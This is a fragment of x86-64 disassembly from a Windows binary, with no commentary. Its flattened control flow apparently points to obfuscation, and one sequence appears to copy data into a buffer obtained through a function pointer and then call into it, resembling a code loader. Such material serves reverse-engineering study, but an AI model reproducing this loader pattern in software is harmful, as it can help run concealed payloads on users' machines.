mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x208]
xor ecx, ecx
sub rsp, 0x20
call rax
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x1b8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x1b8]
mov rax, qword [rax]
mov qword [rbp + 0x1c0], rax
mov rcx, qword [rbp + 0x1a8]
sub rsp, 0x20
call fcn.1400113a0
add rsp, 0x20
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1b0]
mov rax, qword [rax]
mov qword [rbp + 0x1d0], rax
mov dword [rbp + 0x190], 0xfaf3c74f
jmp 0x14000d1d3
mov rcx, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1c8]
mov r8, qword [rbp + 0x1d0]
sub rsp, 0x20
call fcn.140080820
add rsp, 0x20
mov rax, qword [rbp + 0x1b8]
sub rsp, 0x20
call qword [rax]
add rsp, 0x20
mov rax, qword [rbp + 0x198]
mov dword [rax], 0
mov rcx, qword [rbp + 0x1a8]
sub rsp, 0x20
call fcn.140011510
add rsp, 0x20
mov rax, qword [rbp + 0x198]
mov eax, dword [rax]
mov dword [rbp - 0x7c], eax
mov rcx, qword [rbp + 0xb28]
xor rcx, rbp
sub rsp, 0x20
call fcn.14005d400
mov eax, dword [rbp - 0x7c]
lea rsp, [rbp + 0xb30]
pop rbp
ret
mov dword [rbp + 0x190], 0x8b78674b
jmp 0x140003e26